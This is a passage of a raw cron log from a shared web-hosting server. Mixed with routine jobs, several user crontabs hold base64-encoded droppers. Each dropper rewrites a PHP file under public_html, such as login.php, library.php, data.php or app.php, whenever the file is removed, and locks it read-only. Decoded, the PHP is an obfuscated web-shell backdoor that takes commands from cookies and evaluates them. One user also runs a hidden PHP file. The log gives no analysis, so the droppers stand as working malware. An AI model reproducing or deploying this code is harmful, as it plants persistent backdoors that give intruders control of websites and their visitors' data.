X2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:42:01 medusa CROND[22426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:43:01 medusa CROND[8893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:43:01 medusa CROND[9071]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:43:01 medusa CROND[9221]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:43:01 medusa CROND[9222]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 20:43:01 medusa CROND[9223]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:43:01 medusa CROND[9231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:43:01 medusa CROND[9233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:43:01 medusa CROND[9234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:43:01 medusa CROND[9235]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:43:01 medusa CROND[9236]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:43:01 medusa CROND[9242]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:43:01 medusa CROND[9243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:43:01 medusa CROND[9244]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:43:01 medusa CROND[9250]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 20:44:01 medusa CROND[29937]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:44:01 medusa CROND[29938]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:44:01 medusa CROND[29940]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:44:01 medusa CROND[29946]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:44:01 medusa CROND[29949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:44:01 medusa CROND[29950]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:44:01 medusa CROND[29948]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:44:01 medusa CROND[29947]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:44:01 medusa CROND[29945]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:44:01 medusa CROND[29951]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:44:01 medusa CROND[29953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:44:01 medusa CROND[29954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:44:01 medusa CROND[29952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:45:01 medusa CROND[14155]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:45:01 medusa CROND[14156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:45:01 medusa CROND[14157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:45:01 medusa CROND[14158]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:45:01 medusa CROND[14159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
